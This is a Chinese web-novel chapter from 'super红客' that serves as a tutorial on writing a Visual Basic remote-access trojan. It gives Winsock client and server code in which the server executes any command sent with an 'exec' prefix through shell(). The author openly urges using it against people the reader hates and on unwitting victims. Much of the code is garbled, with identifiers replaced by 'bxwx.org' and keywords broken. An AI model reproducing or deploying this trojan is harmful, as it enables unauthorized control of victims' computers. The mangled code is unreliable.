vb编写木马程序

vb编写木马程序

今天我为大家讲如何用vb编写"木马"程序

木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给

攻击对象用的,千万不可用错了----给自己种马的人......^0^

客户程序才是给自己用的,于是我们就用vb建立两个程序,一个为服务器端程序cockhorseserver,另一个为

客户端程序cockhorseclient.

先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来

输入服务器的ip地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.

代码我写下:

privatesuborgmand1_click

'调用connect方法,初始化连接.

bxwx.org=bxwx.org

bxwx.org=val(bxwx.org)'这是端口号,默认为100bxwx.org'和指定的ip相对的计算机相连接

bxwx.org=false

endsub

(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.

privatesubtcpclient_dataarrival(byvalbytestotallong)

dimstrdatastrinbxwx.orgstrdata

strdata="testconnect"thebxwx.org="connectok"+vbnewline+localip":"+-bxwx.org+"orgputername:"+bxwx.org

bxwx.org=bxwx.org+vbnewline+"remoteis:"+-bxwx.org+"orgputername:"+bxwx.org

instr(trim(strdata),"closeok?")>0thebxwx.org

end

endibxwx.org=bxwx.org+vbnewline+bxwx.org+":"+strdata

endsub

endsub

这是这一段代码

cockhorseclient程序的核心部分就是这些,下面我讲cockhorseserver程序

cockhorseserver程序也是先建立一个窗体,也要加载一个winsock控件,(方便一些,我在同一个工程下建立这

个窗体).如果当cockhorseclient程序运行时,cockhorseclient程序就会对cockhorseserver发出连接请求,

为了完成这个连接任务,可以用connectionrequest事件来完成,然后就是具体的错误情况的表达.

代码我打出来:

index=0then

intmax=intmax+1

loadtcpserver(intmax)

tcpserver(intmax).localport=0

tcpserver(intmax).acceptrequestid

orgbol_ip.additem(tcpserver(intmax).remotehostip)

orgbol_ip.text="填上你的恨的人的ip吧!"

tcpserver(intmax).orgnddata"testconnect"

end

呵呵.刚才忘记定义名称了

它的效果是:在cockhorseclient程序被按下的时候,cockhorseserver程序的connectionrequest事件被触发,

从而执行上面的程序,产生连接.

现在的cockhorseserver程序只能做链接,还不能处理cockhorseclient程序所发出的指令,我们还必需用

dataarrival事件.

代码是这样的:

privatesubtcpserver_dataarrival(indexinteger,byvalbytestotallong)

dimstrdatastring

dimcheck_blong

errorgogoerr_pro

tcpserver(index).getdatastrdata

check_blong=instr(trim(strdata),"exec")

check_blong>0then

strdata=trim(strdata)

strdata=right(bxwx.org(strdata)-4)

bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"要求执行下面的程序:"+strdata

shell(strdata)

else

check_blong=instr(trim(strdata),"closeok")

check_blong>0then

tcpserver(index).close

orgbol_ip.removeltem(index-1)

bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"已经断开!"

elsbxwx.org=tcpserver(index).remotehostibxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+strdata

end

endsub

end

err_pro:

err=53then

msgbox"所执行的程序的路径有错误!",+tcpserver(index).remotehostip+"该程序在执行时被拒绝!"

tcpserver(index).orgnddata""

end

resumenext

endsub

这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让mm运行你编写的木马服务端程序,那就是你的自己的事情啦!

好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰vb了.呵呵

上一章书籍页下一章

super红客

···
加入書架
上一章
首頁 都市青春 super红客
上一章下一章

vb编写木马程序

%